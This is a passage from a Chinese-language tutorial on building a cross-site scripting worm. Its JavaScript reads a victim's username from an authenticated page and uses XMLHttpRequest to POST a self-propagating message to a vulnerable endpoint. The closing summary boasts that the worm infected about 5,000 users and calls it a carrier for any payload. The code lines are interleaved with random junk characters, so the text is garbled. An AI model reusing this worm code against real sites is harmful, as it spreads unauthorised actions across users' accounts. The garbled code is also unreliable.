复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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3 R4 z1 P; a3 i" u7 xvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.; j, i u2 h( N/ {
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var post="wd="+wd;
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! S" F9 [# ?& ?xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);7 u& E% D# |/ B! Z$ M1 {1 h- q @
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length);
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! X& B& J& i2 G+ z N& @ O; HxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");( S& `: A$ Z# _( P" L: {8 ]5 R- s
7 N8 t/ A( p! x$ jxmlHttpReq.send(post); //把传播的信息 POST出去.5 H1 E6 S, B; {
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------* C9 b: Q/ U1 b) a# c
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户./ X# ~+ G: z* U7 c% A& @( [. D
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
! u* E5 y' p; x5 V6 C/ K操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.6 d! ^ ^. k$ c
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本文引用文档资料:8 d% K% D; r1 M2 o
( d, t2 b& n7 n& z9 R- h
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
& t' X0 r, {2 o' h4 \1 ~( SOther XmlHttpRequest tricks (Amit Klein, January 2003)5 Q# s/ l# m0 I
"Cross Site Tracing" (Jeremiah Grossman, January 2003); X; U3 b. o% n$ t6 H' F8 N
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
5 t# o6 g' a/ b, K" ~! q" X$ F空虚浪子心BLOG http://www.inbreak.net# Q6 L% p# m9 X! E- E; k8 p; y$ o
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